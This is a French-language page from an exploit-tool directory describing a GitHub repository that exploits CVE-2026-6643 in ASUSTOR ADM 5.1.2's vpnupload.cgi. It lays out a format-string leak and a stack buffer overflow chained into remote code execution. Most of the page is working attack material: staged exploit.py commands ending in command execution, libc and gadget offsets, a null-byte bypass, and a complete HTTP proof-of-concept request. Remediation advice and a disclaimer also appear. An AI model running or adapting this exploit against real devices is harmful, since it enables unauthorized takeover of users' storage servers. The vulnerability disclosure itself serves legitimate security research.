Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-6643 — ASUSTOR ADM 5.1.2 vpnupload.cgi — Chaîne de format et débordement de tampon sur la pile — RCE (CVE-2026-6643) | Kitploit
Outils/GitHubGitHub/mlgzackfly/cve-2026-6643
Analyse des VulnérabilitésExploitationShellcodeExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges UtilesExploitation de Binaires
GitHubmlgzackfly/cve-2026-6643

CVE-2026-6643

ASUSTOR ADM 5.1.2 vpnupload.cgi — Chaîne de format et débordement de tampon sur la pile — RCE (CVE-2026-6643)

Voir le dépôt
2il y a 4 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-6643 — RCE sur ASUSTOR ADM 5.1.2

Chaîne de format (CWE-134) + débordement de tampon de pile (CWE-121) dans vpnupload.cgi

Résumé de la vulnérabilité

ChampValeur
ProduitASUSTOR ADM (ASUSTOR Data Master)
Version affectéeADM 5.1.2.REO1 (X64_G3, 2026-02-25)
Composant/portal/apis/settings/vpnupload.cgi — action upload_wireguard
Type de vulnérabilitéCWE-134 Chaîne de format / CWE-121 Débordement de tampon de pile
SévéritéÉlevée
Authentification requiseOui (cookie Revive_Session valide)
Date de découverte2026-03-14

Détails de la vulnérabilité

Vulnérabilité A — Chaîne de format (CWE-134)

Le gestionnaire upload_wireguard analyse un fichier de configuration WireGuard, assemble les champs dans un objet JSON, puis transmet le résultat directement comme argument de chaîne de format à printf() :

root@kitploit:~
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2);    // user-controlled format string

Un attaquant peut intégrer des spécificateurs de format printf dans n'importe quel champ de configuration WireGuard :

  • %x / %p — lit la mémoire de la pile (fuite d'informations)
  • %n — écrit dans une mémoire arbitraire (exécution de code via l'écrasement de la GOT)

Vulnérabilité B — Débordement de tampon de pile (CWE-121)

Le même gestionnaire utilise sscanf("%s") sans limite pour copier les valeurs de configuration dans des tampons de pile de 300 octets, alors que fgets accepte jusqu'à 32 768 octets par ligne :

root@kitploit:~
__isoc23_sscanf(__s, "PrivateKey = %s",           local_ac4);   // 300B
__isoc23_sscanf(__s, "Endpoint = %s",             local_164);   // 300B
// 8 fields total; only DNS has a length limit

Fournir plus de 300 octets provoque un débordement dans les tampons adjacents. À 4 000 octets, le RIP sauvegardé est corrompu, ce qui provoque un SIGSEGV.

Mitigations binaires

ProtectionStatutImpact
FORTIFY_SOURCEDésactivéprintf (pas __printf_chk) — l'écriture %n fonctionne
Stack CanaryDésactivéAucune fuite de canari requise
PIEDésactivéLes adresses de la GOT et des gadgets sont statiques
RELROPartielleLa GOT est inscriptible

Chaîne d'exploitation

root@kitploit:~
Step 1  Format string %x   →  Leak stack memory, recover libc base
Step 2  Endpoint overflow   →  Overwrite saved RIP with one-gadget / system()
Step 3  execve("/bin/sh")   →  Shell as the web server user

Pourquoi Endpoint est la meilleure cible de débordement

local_164 (le tampon Endpoint) se situe à rbp-0x164, le plus proche des huit tampons de l'adresse de retour sauvegardée :

root@kitploit:~
Stack layout (Ghidra):
  local_ac4  PrivateKey           rbp-0xac4   300B
  local_998  Address              rbp-0x998   300B
  local_86c  PublicKey            rbp-0x86c   300B
  local_740  ListenPort           rbp-0x740   300B
  local_4e8  PresharedKey         rbp-0x4e8   300B
  local_3bc  AllowedIPs           rbp-0x3bc   300B
  local_290  PersistentKeepalive  rbp-0x290   300B
  local_164  Endpoint             rbp-0x164   300B  ← target
  saved RBP                       rbp+0x000
  saved RIP                       rbp+0x008   ← 0x164 + 8 = 364 bytes away

Contournement de l'octet nul

sscanf("%s") cesse de copier à un octet nul. Une adresse libc (0x7f...) en little-endian se termine par deux octets nuls. Cependant, les deux octets de poids fort de tout RIP sauvegardé contiennent déjà 0x0000, donc l'écriture aboutit correctement même si sscanf s'arrête prématurément :

root@kitploit:~
one_gadget address 0x00007f1234567890 (little-endian):
  \x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
                                ^--- sscanf stops here
                                     but these bytes were already 0x00 → correct

Tous les gadgets ROP intermédiaires doivent également provenir de libc (plage 0x7f...) pour éviter les octets nuls incorporés. Seule la valeur finale de la chaîne peut se terminer par des octets nuls.

Prérequis

root@kitploit:~
uv add requests

Utilisation

Étape 1 — Détecter le décalage d'argument de la chaîne de format

root@kitploit:~
uv run exploit.py <host:port> '<cookie>' --stage offset

Exemple de sortie :

root@kitploit:~
[*] Detecting format string argument offset...
[+] Offset: 8  (echo: AAAA.41414141...)

Étape 2 — Fuite de la base de libc

root@kitploit:~
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8

Exemple de sortie :

root@kitploit:~
[+] Stack dump (args 8..47):
    [  8]  0x0000000000000000
    [  9]  0x00007f8b2c3d4e5f  ← libc candidate
    ...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
    Subtract the known offset of whichever symbol this is:
    libc_base = 0x7f8b2c3d4e5f - <symbol_offset>

Identifiez le symbole et calculez la base de libc :

root@kitploit:~
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f

Étape 3 — RCE

root@kitploit:~
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000

# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000

Étape 4 — Exécuter des commandes (après l'écrasement de la GOT)

root@kitploit:~
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'

Obtenir les décalages de libc

Extrayez libc.so.6 de l'image du firmware, puis exécutez :

root@kitploit:~
# system() offset
readelf -s libc.so.6 | grep -w system

# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'

# one_gadget offsets
one_gadget libc.so.6    # gem install one_gadget

Mettez à jour les constantes dans exploit.py :

root@kitploit:~
LIBC_SYSTEM      = 0x055410
LIBC_BINSH       = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]

Preuve de concept

Fuite de chaîne de format

root@kitploit:~
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND

--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"

dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"

[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1

[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--

Remarque : Deux sections multipart sont requises. Le parseur utilise un compteur de délimiteur (boundary) ; l'analyse sscanf ne s'active que sur la deuxième section.

Réponse (champ clientprivatekey) :

root@kitploit:~
AAAA_feebd19f_0000012b_0000007d_00000002

Débordement de tampon de pile (crash)

Définissez PrivateKey sur 4 000 octets → SIGSEGV (code de sortie 139).

Remédiation

VulnérabilitéCorrectif
Chaîne de formatRemplacez printf(pcVar2) par printf("%s", pcVar2) ou fputs(pcVar2, stdout)
Débordement de tamponAjoutez des limites de longueur à toutes les chaînes de format sscanf (par exemple %299s pour des tampons de 300 octets)

Environnement de test

  • Firmware : X64_G3_5.1.2.REO1.img — vpnupload.cgi extrait de l'image
  • Plateforme : Linux x86-64, utilisant le ld-linux et les bibliothèques partagées du firmware
  • Contournement d'authentification : patch d'un octet je → jmp au décalage 0x1224 (tests locaux uniquement)

Références

  • Article de recherche : https://blog.mlgzackfly.tw/cve-2026-6643/

Avertissement

Cet exploit est fourni uniquement pour la recherche en sécurité et les tests autorisés. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil